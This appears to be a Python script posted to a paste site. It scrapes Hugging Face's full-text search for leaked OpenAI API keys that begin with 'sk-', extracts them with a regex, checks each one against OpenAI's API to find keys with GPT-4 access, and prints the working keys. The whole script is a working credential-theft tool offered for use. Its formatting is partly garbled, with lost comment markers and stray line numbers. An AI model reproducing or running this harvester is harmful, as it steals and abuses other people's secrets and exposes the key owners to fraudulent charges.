import requests
import re

Initialize an empty set to store unique keys

keys = set()

print("Starting to gather potential keys from Hugging Face's full-text search API...")

Loop over the characters 'a', 'h', 'm', 'q'

for char in ['a', 'h', 'm', 'q']:
print(f"Processing character: {char}")

Loop over the sequence of numbers from 0 to 900, step 100

for i in range(0, 1000, 100):
    print(f"Processing sequence number: {i}")
    # Send a request to Hugging Face's full-text search API
    response = requests.get(f"https://huggingface.co/search/full-text?q=sk-{char}&limit=100&skip={i}")
    print(f"Sent request to Hugging Face's API with parameters q=sk-{char}, limit=100, skip={i}")
    # Extract potential keys from the response
    potential_keys = re.findall(r"(sk-.)</span>([a-zA-Z0-9]{47})", response.text)
    print(f"Found {len(potential_keys)} potential keys in this response")
    # Add each key to the set of unique keys
    for key in potential_keys:
        keys.add(''.join(key))

print(f"Finished gathering potential keys. Found {len(keys)} unique keys in total.")

Initialize an empty list to store valid keys

valid_keys = []

print("Starting to validate keys with OpenAI's API...")

Test each unique key

for key in keys:
print(f"Testing key: {key}")

Send a request to OpenAI's API with the key as an authorization token

1
2
3
4
5
6
7
8
response = requests.get('https://api.openai.com/v1/models', headers={'Content-Type': 'application/json', 'Authorization': f'Bearer {key}'})
print(f"Sent request to OpenAI's API with key {key} as an authorization token")
# If the response contains 'gpt-4', add the key to the list of valid keys
if 'gpt-4' in response.text:
    print("Key is valid")
    valid_keys.append(key)
else:
    print("Key is invalid")

print(f"Finished validating keys. Found {len(valid_keys)} valid keys in total.")

Print the valid keys

print("Valid keys:")
for key in valid_keys:
print(key)

Edit Report
Pub: 29 Jul 2023 13:38 UTC
Views: 1326